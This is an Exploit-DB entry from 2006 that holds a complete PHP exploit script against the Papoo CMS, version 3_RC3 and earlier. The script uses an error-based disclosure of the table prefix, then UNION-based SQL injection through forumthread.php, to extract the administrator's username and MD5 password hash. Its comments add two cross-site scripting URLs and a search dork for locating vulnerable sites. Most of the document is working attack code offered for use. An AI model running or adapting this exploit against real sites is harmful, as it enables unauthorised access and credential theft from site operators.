Exploit-DB #1993
Description: PAPOO 3_RC3 - SQL Injection / Admin Credentials Disclosure
Type: webapps
Platform: php
Date: 2006-07-07
Author: rgod

Exploit:
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "PAPOO <= 3_RC3 SQL injection / admin credentials disclosure\n";
echo "by rgod rgod@autistici.org\n";
echo "site: http://retrogod.altervista.org\n";
echo "dork: \"Help * Contact * Imprint * Sitemap\" | \"powered by papoo\" | \"powered by cms papoo\"\n\n";

/*
notes:
works regardless of magic_quotes_gpc settings...
there is some magic quotes disable code in variable_class.php near line 120-145
also you can always disclose table prefix...
we have different number of columns in older version, we will shortly bruteforce query

oh, we have two xss even:
http://[target]/[path_to_papoo]/interna/hilfe.php?titel=[XSS]
http://[target]/[path_to_papoo]/interna/hilfe.php?ausgabe=[XSS]

*/

if ($argc<3) {
echo "Usage: php ".$argv[0]." host path OPTIONS\n";
echo "host:      target server (ip/hostname)\n";
echo "path:      path to Papoo\n";
echo "Options:\n";
echo "   -T[prefix]   specify a table prefix (there is nor a default one, try papoo or papoo_\n";
echo "                however, if not specified, we will disclose it)\n";
echo "   -p[port]:    specify a port other than 80\n";
echo "   -P[ip:port]: specify a proxy\n";
echo "Example:\r\n";
echo "php ".$argv[0]." localhost /papoo/\n";
echo "php ".$argv[0]." localhost /papoo/ -Tpapoo_\n";
die;
}

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;

}

function is_hash($hash)
{
 if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
 else {return false;}
}

$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy="";
for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-T")
{
  $prefix=str_replace("-T","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

if ($prefix=="")
{
  $packet="GET ".$p."forumthread.php?msgid=%27 HTTP/1.0\r\n";
  $packet.="Host: ".$host."\r\n";
  $packet.="Connection: Close\r\n\r\n";
  sendpacketii($packet);
  if (strstr($html,"You have an error in your SQL syntax"))
  {
    $temp=explode("_papoo_message.forumid",$html);
    $temp2=explode("AND ",$temp[0]);
    $prefix=$temp2[count($temp2)-1];
    echo "table prefix -> ".$prefix."\n";
  }
  else
  {die("Unable to disclose table prefix...\n");}
}

$diff=array(
            ",0,0,0,0,0",
            ",0,0,0,0",
            ",0,0,0",
            ",0,0",
            ",0",
            ""
           );
for ($j=0; $j<=count($diff)-1; $j++)
{
$sql="9999')/**/UNION/**/SELECT/**/1,0,0,0,CONCAT('*WhOp*',username,':',password,'*WhOp*'),0,0,0,0,0".$diff[$j]."/**/FROM ".$prefix."_papoo_user/**/WHERE/**/gruppenid='g1,'/*";
$sql=urlencode($sql);
$packet="GET ".$p."forumthread.php?msgid=".$sql." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
$temp=explode("*WhOp*",$html);
for ($i=1; $i<=count($temp)-1; $i++)
{
 $temp2=explode(":",$temp[$i]);
 if (is_hash($temp2[1]))
 {
  echo "--------------------------------------------------------\n";
  echo "admin          -> ".$temp2[0]."                         \n";
  echo "password (md5) -> ".$temp2[1]."                         \n";
  echo "--------------------------------------------------------\n";
  die;
 }
}
}
//if you are here...
echo "exploit failed...";
?>

# milw0rm.com [2006-07-07]